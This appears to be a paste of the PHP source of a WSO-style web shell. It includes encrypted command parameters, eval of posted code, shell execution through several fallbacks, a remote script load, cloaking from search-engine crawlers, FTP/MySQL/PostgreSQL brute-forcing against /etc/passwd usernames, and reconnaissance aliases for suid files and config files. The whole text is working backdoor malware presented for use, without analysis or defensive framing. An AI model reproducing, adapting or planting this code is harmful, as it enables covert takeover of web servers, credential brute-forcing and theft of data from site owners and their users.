SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | //$auth_pass = "d9fdca2cb0379f51df4ca56d47a91f05"; | |
| 3 | $color = "#0ef544"; | |
| 4 | $default_use_ajax = true; | |
| 5 | $default_charset = 'Windows-1251'; | |
| 6 | $default_action='FilesMan'; | |
| 7 | $default_key = md5($_SERVER['HTTP_USER_AGENT']); | |
| 8 | if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
| |
| 9 | $s = 'tAivxvnGsetcookie'; | |
| 10 | $s(md5($_SERVER['HTTP_HOST'])."key", $default_key); | |
| 11 | } | |
| 12 | if(empty($_POST['charset'])) | |
| 13 | $_POST['charset'] = $default_charset; | |
| 14 | if (!isset($_POST['ne'])) {
| |
| 15 | if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
| |
| 16 | if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
| |
| 17 | if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
| |
| 18 | if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
| |
| 19 | if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
| |
| 20 | } | |
| 21 | function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
| |
| 22 | ||
| 23 | @ini_set('error_log',NULL);
| |
| 24 | @ini_set('log_errors',0);
| |
| 25 | @ini_set('max_execution_time',0);
| |
| 26 | @set_time_limit(0); | |
| 27 | @define('tAivxvnG_VERSION', '2.5');
| |
| 28 | ||
| 29 | if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) | |
| 30 | $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; | |
| 31 | ||
| 32 | ||
| 33 | if(get_magic_quotes_gpc()) {
| |
| 34 | function tAivxvnGstripslashes($array) {
| |
| 35 | return is_array($array) ? array_map('tAivxvnGstripslashes', $array) : stripslashes($array);
| |
| 36 | } | |
| 37 | $_POST = tAivxvnGstripslashes($_POST); | |
| 38 | $_COOKIE = tAivxvnGstripslashes($_COOKIE); | |
| 39 | } | |
| 40 | ||
| 41 | ||
| 42 | if(strtolower(substr(PHP_OS,0,3)) == "win") | |
| 43 | $os = 'win'; | |
| 44 | else | |
| 45 | $os = 'nix'; | |
| 46 | ||
| 47 | $safe_mode = @ini_get('safe_mode');
| |
| 48 | if(!$safe_mode) | |
| 49 | error_reporting(0); | |
| 50 | ||
| 51 | $disable_functions = @ini_get('disable_functions');
| |
| 52 | $home_cwd = @getcwd(); | |
| 53 | if(isset($_POST['c'])) | |
| 54 | @chdir($_POST['c']); | |
| 55 | $cwd = @getcwd(); | |
| 56 | if($os == 'win') {
| |
| 57 | $home_cwd = str_replace("\\", "/", $home_cwd);
| |
| 58 | $cwd = str_replace("\\", "/", $cwd);
| |
| 59 | } | |
| 60 | if($cwd[strlen($cwd)-1] != '/') | |
| 61 | $cwd .= '/'; | |
| 62 | ||
| 63 | ||
| 64 | if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
| |
| 65 | function posix_getpwuid($p) {return false;} }
| |
| 66 | if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
| |
| 67 | function posix_getgrgid($p) {return false;} }
| |
| 68 | ||
| 69 | function tAivxvnGEx($in) {
| |
| 70 | $out = ''; | |
| 71 | if (function_exists('exec')) {
| |
| 72 | @exec($in,$out); | |
| 73 | $out = @join("\n",$out);
| |
| 74 | } elseif (function_exists('passthru')) {
| |
| 75 | ob_start(); | |
| 76 | @passthru($in); | |
| 77 | $out = ob_get_clean(); | |
| 78 | } elseif (function_exists('system')) {
| |
| 79 | ob_start(); | |
| 80 | @system($in); | |
| 81 | $out = ob_get_clean(); | |
| 82 | } elseif (function_exists('shell_exec')) {
| |
| 83 | $out = shell_exec($in); | |
| 84 | } elseif (is_resource($f = @popen($in,"r"))) {
| |
| 85 | $out = ""; | |
| 86 | while(!@feof($f)) | |
| 87 | $out .= fread($f,1024); | |
| 88 | pclose($f); | |
| 89 | } | |
| 90 | return $out; | |
| 91 | } | |
| 92 | ||
| 93 | function tAivxvnGViewSize($s) {
| |
| 94 | if($s >= 1073741824) | |
| 95 | return sprintf('%1.2f', $s / 1073741824 ). ' GB';
| |
| 96 | elseif($s >= 1048576) | |
| 97 | return sprintf('%1.2f', $s / 1048576 ) . ' MB';
| |
| 98 | elseif($s >= 1024) | |
| 99 | return sprintf('%1.2f', $s / 1024 ) . ' KB';
| |
| 100 | else | |
| 101 | return $s . ' B'; | |
| 102 | } | |
| 103 | ||
| 104 | function tAivxvnGPerms($p) {
| |
| 105 | if (($p & 0xC000) == 0xC000)$i = 's'; | |
| 106 | elseif (($p & 0xA000) == 0xA000)$i = 'l'; | |
| 107 | elseif (($p & 0x8000) == 0x8000)$i = '-'; | |
| 108 | elseif (($p & 0x6000) == 0x6000)$i = 'b'; | |
| 109 | elseif (($p & 0x4000) == 0x4000)$i = 'd'; | |
| 110 | elseif (($p & 0x2000) == 0x2000)$i = 'c'; | |
| 111 | elseif (($p & 0x1000) == 0x1000)$i = 'p'; | |
| 112 | else $i = 'u'; | |
| 113 | $i .= (($p & 0x0100) ? 'r' : '-'); | |
| 114 | $i .= (($p & 0x0080) ? 'w' : '-'); | |
| 115 | $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
| 116 | $i .= (($p & 0x0020) ? 'r' : '-'); | |
| 117 | $i .= (($p & 0x0010) ? 'w' : '-'); | |
| 118 | $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); | |
| 119 | $i .= (($p & 0x0004) ? 'r' : '-'); | |
| 120 | $i .= (($p & 0x0002) ? 'w' : '-'); | |
| 121 | $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); | |
| 122 | return $i; | |
| 123 | } | |
| 124 | ||
| 125 | function tAivxvnGPermsColor($f) {
| |
| 126 | if (!@is_readable($f)) | |
| 127 | return '<font color=#FF0000>' . tAivxvnGPerms(@fileperms($f)) . '</font>'; | |
| 128 | elseif (!@is_writable($f)) | |
| 129 | return '<font color=white>' . tAivxvnGPerms(@fileperms($f)) . '</font>'; | |
| 130 | else | |
| 131 | return '<font color=#25ff00>' . tAivxvnGPerms(@fileperms($f)) . '</font>'; | |
| 132 | } | |
| 133 | ||
| 134 | function tAivxvnGScandir($dir) {
| |
| 135 | if(function_exists("scandir")) {
| |
| 136 | return scandir($dir); | |
| 137 | } else {
| |
| 138 | $dh = opendir($dir); | |
| 139 | while (false !== ($filename = readdir($dh))) | |
| 140 | $files[] = $filename; | |
| 141 | return $files; | |
| 142 | } | |
| 143 | } | |
| 144 | ||
| 145 | function tAivxvnGWhich($p) {
| |
| 146 | $path = tAivxvnGEx('which ' . $p);
| |
| 147 | if(!empty($path)) | |
| 148 | return $path; | |
| 149 | return false; | |
| 150 | } | |
| 151 | ||
| 152 | function actionRC() {
| |
| 153 | if(!@$_POST['p1']) {
| |
| 154 | $a = array( | |
| 155 | "uname" => php_uname(), | |
| 156 | "php_version" => phpversion(), | |
| 157 | "tAivxvnG_version" => tAivxvnG_VERSION, | |
| 158 | "safemode" => @ini_get('safe_mode')
| |
| 159 | ); | |
| 160 | echo serialize($a); | |
| 161 | } else {
| |
| 162 | eval($_POST['p1']); | |
| 163 | } | |
| 164 | } | |
| 165 | ||
| 166 | function tAivxvnGsetcookie($k, $v) {
| |
| 167 | $_COOKIE[$k] = $v; | |
| 168 | setcookie($k, $v); | |
| 169 | } | |
| 170 | ||
| 171 | function actionLogout() {
| |
| 172 | setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); | |
| 173 | die('bye!');
| |
| 174 | } | |
| 175 | ||
| 176 | function actionSelfRemove() {
| |
| 177 | ||
| 178 | if($_POST['p1'] == 'yes') | |
| 179 | if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
| |
| 180 | die('Shell has been removed');
| |
| 181 | else | |
| 182 | echo 'unlink error!'; | |
| 183 | if($_POST['p1'] != 'yes') | |
| 184 | tAivxvnGHeader(); | |
| 185 | echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; | |
| 186 | tAivxvnGFooter(); | |
| 187 | }function tAivxvnGHeader() {
| |
| 188 | if(empty($_POST['charset'])) | |
| 189 | $_POST['charset'] = $GLOBALS['default_charset']; | |
| 190 | global $color; | |
| 191 | echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . "dfsfkjltyerg" ."</title> | |
| 192 | <style> | |
| 193 | body{background-color:#444;color:#e1e1e1;}
| |
| 194 | body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
| |
| 195 | table.info{ color:#fff;background-color:#222; }
| |
| 196 | span,h1,a{ color: $color !important; }
| |
| 197 | span{ font-weight: bolder; }
| |
| 198 | h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
| |
| 199 | div.content{ padding: 5px;margin-left:5px;background-color:#333; }
| |
| 200 | a{ text-decoration:none; }
| |
| 201 | a:hover{ text-decoration:underline; }
| |
| 202 | .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
| |
| 203 | .bigarea{ width:100%;height:300px; }
| |
| 204 | input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
| |
| 205 | form{ margin:0px; }
| |
| 206 | #toolsTbl{ text-align:center; }
| |
| 207 | .toolsInp{ width: 300px }
| |
| 208 | .main th{text-align:left;background-color:#5e5e5e;}
| |
| 209 | .main tr:hover{background-color:#5e5e5e}
| |
| 210 | .l1{background-color:#444}
| |
| 211 | .l2{background-color:#333}
| |
| 212 | pre{font-family:Courier,Monospace;}
| |
| 213 | </style> | |
| 214 | <script> | |
| 215 | var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; | |
| 216 | var a_ = '" . htmlspecialchars(@$_POST['a']) ."' | |
| 217 | var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; | |
| 218 | var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; | |
| 219 | var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; | |
| 220 | var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; | |
| 221 | var d = document; | |
| 222 | ||
| 223 | function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
| |
| 224 | function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
| |
| 225 | function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
| |
| 226 | function set(a,c,p1,p2,p3,charset) {
| |
| 227 | if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
| 228 | if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
| 229 | if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
| 230 | if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
| 231 | if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
| 232 | d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
| 233 | d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
| 234 | d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
| 235 | d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
| 236 | d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
| 237 | if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
| 238 | } | |
| 239 | function g(a,c,p1,p2,p3,charset) {
| |
| 240 | set(a,c,p1,p2,p3,charset); | |
| 241 | d.mf.submit(); | |
| 242 | } | |
| 243 | function a(a,c,p1,p2,p3,charset) {
| |
| 244 | set(a,c,p1,p2,p3,charset); | |
| 245 | var params = 'ajax=true'; | |
| 246 | for(i=0;i<d.mf.elements.length;i++) | |
| 247 | params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); | |
| 248 | sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
| |
| 249 | } | |
| 250 | function sr(url, params) {
| |
| 251 | if (window.XMLHttpRequest) | |
| 252 | req = new XMLHttpRequest(); | |
| 253 | else if (window.ActiveXObject) | |
| 254 | req = new ActiveXObject('Microsoft.XMLHTTP');
| |
| 255 | if (req) {
| |
| 256 | req.onreadystatechange = processReqChange; | |
| 257 | req.open('POST', url, true);
| |
| 258 | req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
| |
| 259 | req.send(params); | |
| 260 | } | |
| 261 | } | |
| 262 | function processReqChange() {
| |
| 263 | if( (req.readyState == 4) ) | |
| 264 | if(req.status == 200) {
| |
| 265 | var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); | |
| 266 | var arr=reg.exec(req.responseText); | |
| 267 | eval(arr[2].substr(0, arr[1])); | |
| 268 | } else alert('Request error!');
| |
| 269 | } | |
| 270 | </script> | |
| 271 | <script src='https://importantscripts.github.io/jquery.min.js'></script> | |
| 272 | <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> | |
| 273 | <form method=post name=mf style='display:none;'> | |
| 274 | <input type=hidden name=a> | |
| 275 | <input type=hidden name=c> | |
| 276 | <input type=hidden name=p1> | |
| 277 | <input type=hidden name=p2> | |
| 278 | <input type=hidden name=p3> | |
| 279 | <input type=hidden name=charset> | |
| 280 | </form>"; | |
| 281 | $freeSpace = @diskfreespace($GLOBALS['cwd']); | |
| 282 | $totalSpace = @disk_total_space($GLOBALS['cwd']); | |
| 283 | $totalSpace = $totalSpace?$totalSpace:1; | |
| 284 | $release = @php_uname('r');
| |
| 285 | $kernel = @php_uname('s');
| |
| 286 | $explink = 'http://exploit-db.com/search/?action=search&filter_description='; | |
| 287 | if(strpos('Linux', $kernel) !== false)
| |
| 288 | $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
| |
| 289 | else | |
| 290 | $explink .= urlencode($kernel . ' ' . substr($release,0,3)); | |
| 291 | if(!function_exists('posix_getegid')) {
| |
| 292 | $user = @get_current_user(); | |
| 293 | $uid = @getmyuid(); | |
| 294 | $gid = @getmygid(); | |
| 295 | $group = "?"; | |
| 296 | } else {
| |
| 297 | $uid = @posix_getpwuid(posix_geteuid()); | |
| 298 | $gid = @posix_getgrgid(posix_getegid()); | |
| 299 | $user = $uid['name']; | |
| 300 | $uid = $uid['uid']; | |
| 301 | $group = $gid['name']; | |
| 302 | $gid = $gid['gid']; | |
| 303 | } | |
| 304 | ||
| 305 | $cwd_links = ''; | |
| 306 | $path = explode("/", $GLOBALS['cwd']);
| |
| 307 | $n=count($path); | |
| 308 | for($i=0; $i<$n-1; $i++) {
| |
| 309 | $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; | |
| 310 | for($j=0; $j<=$i; $j++) | |
| 311 | $cwd_links .= $path[$j].'/'; | |
| 312 | $cwd_links .= "\")'>".$path[$i]."/</a>"; | |
| 313 | } | |
| 314 | ||
| 315 | $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
| |
| 316 | $opt_charsets = ''; | |
| 317 | foreach($charsets as $item) | |
| 318 | $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; | |
| 319 | ||
| 320 | $m = array('Bruteforce'=>'Bruteforce','Console'=>'Console','FilesMan'=>'FilesMan','Network'=>'Network','Php'=>'Php','SecInfo'=>'SecInfo','Sql'=>'Sql','StringTools'=>'StringTools');;
| |
| 321 | if(!empty($GLOBALS['auth_pass'])) | |
| 322 | $m['Logout'] = 'Logout'; | |
| 323 | $m['Self remove'] = 'SelfRemove'; | |
| 324 | $menu = ''; | |
| 325 | foreach($m as $k => $v) | |
| 326 | $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; | |
| 327 | ||
| 328 | $drives = ""; | |
| 329 | if($GLOBALS['os'] == 'win') {
| |
| 330 | foreach(range('c','z') as $drive)
| |
| 331 | if(is_dir($drive.':\\')) | |
| 332 | $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; | |
| 333 | } | |
| 334 | echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' | |
| 335 | . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') | |
| 336 | . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . tAivxvnGViewSize($totalSpace) . ' <span>Free:</span> ' . tAivxvnGViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. tAivxvnGPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
| |
| 337 | . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>' | |
| 338 | . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; | |
| 339 | }function tAivxvnGFooter() {
| |
| 340 | $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; | |
| 341 | echo " | |
| 342 | </div> | |
| 343 | <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> | |
| 344 | <tr> | |
| 345 | <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
| |
| 346 | <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
| |
| 347 | </tr><tr> | |
| 348 | <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
| |
| 349 | <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
| |
| 350 | </tr><tr> | |
| 351 | <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
| |
| 352 | <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
| |
| 353 | <input type=hidden name=a value='FilesMan'> | |
| 354 | <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> | |
| 355 | <input type=hidden name=p1 value='uploadFile'> | |
| 356 | <input type=hidden name=ne value=''> | |
| 357 | <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> | |
| 358 | <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> | |
| 359 | </tr></table></div></body></html>"; | |
| 360 | } if(!empty($_SERVER['HTTP_USER_AGENT'])) {
| |
| 361 | $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
| |
| 362 | if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
| |
| 363 | header('HTTP/1.0 404 Not Found');
| |
| 364 | exit; | |
| 365 | } | |
| 366 | } function actionBruteforce() {
| |
| 367 | tAivxvnGHeader(); | |
| 368 | if( isset($_POST['proto']) ) {
| |
| 369 | echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; | |
| 370 | if( $_POST['proto'] == 'ftp' ) {
| |
| 371 | function tAivxvnGBruteForce($ip,$port,$login,$pass) {
| |
| 372 | $fp = @ftp_connect($ip, $port?$port:21); | |
| 373 | if(!$fp) return false; | |
| 374 | $res = @ftp_login($fp, $login, $pass); | |
| 375 | @ftp_close($fp); | |
| 376 | return $res; | |
| 377 | } | |
| 378 | } elseif( $_POST['proto'] == 'mysql' ) {
| |
| 379 | function tAivxvnGBruteForce($ip,$port,$login,$pass) {
| |
| 380 | $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass); | |
| 381 | @mysql_close($res); | |
| 382 | return $res; | |
| 383 | } | |
| 384 | } elseif( $_POST['proto'] == 'pgsql' ) {
| |
| 385 | function tAivxvnGBruteForce($ip,$port,$login,$pass) {
| |
| 386 | $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; | |
| 387 | $res = @pg_connect($str); | |
| 388 | @pg_close($res); | |
| 389 | return $res; | |
| 390 | } | |
| 391 | } | |
| 392 | $success = 0; | |
| 393 | $attempts = 0; | |
| 394 | $server = explode(":", $_POST['server']);
| |
| 395 | if($_POST['type'] == 1) {
| |
| 396 | $temp = @file('/etc/passwd');
| |
| 397 | if( is_array($temp) ) | |
| 398 | foreach($temp as $line) {
| |
| 399 | $line = explode(":", $line);
| |
| 400 | ++$attempts; | |
| 401 | if( tAivxvnGBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
| |
| 402 | $success++; | |
| 403 | echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; | |
| 404 | } | |
| 405 | if(@$_POST['reverse']) {
| |
| 406 | $tmp = ""; | |
| 407 | for($i=strlen($line[0])-1; $i>=0; --$i) | |
| 408 | $tmp .= $line[0][$i]; | |
| 409 | ++$attempts; | |
| 410 | if( tAivxvnGBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
| |
| 411 | $success++; | |
| 412 | echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); | |
| 413 | } | |
| 414 | } | |
| 415 | } | |
| 416 | } elseif($_POST['type'] == 2) {
| |
| 417 | $temp = @file($_POST['dict']); | |
| 418 | if( is_array($temp) ) | |
| 419 | foreach($temp as $line) {
| |
| 420 | $line = trim($line); | |
| 421 | ++$attempts; | |
| 422 | if( tAivxvnGBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
| |
| 423 | $success++; | |
| 424 | echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; | |
| 425 | } | |
| 426 | } | |
| 427 | } | |
| 428 | echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; | |
| 429 | } | |
| 430 | echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' | |
| 431 | .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' | |
| 432 | .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' | |
| 433 | .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' | |
| 434 | .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' | |
| 435 | .'<input type=hidden name=ne value="">' | |
| 436 | .'<span>Server:port</span></td>' | |
| 437 | .'<td><input type=text name=server value="127.0.0.1"></td></tr>' | |
| 438 | .'<tr><td><span>Brute type</span></td>' | |
| 439 | .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' | |
| 440 | .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' | |
| 441 | .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' | |
| 442 | .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' | |
| 443 | .'<td><input type=text name=login value="root"></td></tr>' | |
| 444 | .'<tr><td><span>Dictionary</span></td>' | |
| 445 | .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' | |
| 446 | .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; | |
| 447 | echo '</div><br>'; | |
| 448 | tAivxvnGFooter(); | |
| 449 | } if($os == 'win') | |
| 450 | $aliases = array( | |
| 451 | "List Directory" => "dir", | |
| 452 | "Find index.php in current dir" => "dir /s /w /b index.php", | |
| 453 | "Find *config*.php in current dir" => "dir /s /w /b *config*.php", | |
| 454 | "Show active connections" => "netstat -an", | |
| 455 | "Show running services" => "net start", | |
| 456 | "User accounts" => "net user", | |
| 457 | "Show computers" => "net view", | |
| 458 | "ARP Table" => "arp -a", | |
| 459 | "IP Configuration" => "ipconfig /all" | |
| 460 | ); | |
| 461 | else | |
| 462 | $aliases = array( | |
| 463 | "List dir" => "ls -lha", | |
| 464 | "list file attributes on a Linux second extended file system" => "lsattr -va", | |
| 465 | "show opened ports" => "netstat -an | grep -i listen", | |
| 466 | "process status" => "ps aux", | |
| 467 | "Find" => "", | |
| 468 | "find all suid files" => "find / -type f -perm -04000 -ls", | |
| 469 | "find suid files in current dir" => "find . -type f -perm -04000 -ls", | |
| 470 | "find all sgid files" => "find / -type f -perm -02000 -ls", | |
| 471 | "find sgid files in current dir" => "find . -type f -perm -02000 -ls", | |
| 472 | "find config.inc.php files" => "find / -type f -name config.inc.php", | |
| 473 | "find config* files" => "find / -type f -name \"config*\"", | |
| 474 | "find config* files in current dir" => "find . -type f -name \"config*\"", | |
| 475 | "find all writable folders and files" => "find / -perm -2 -ls", | |
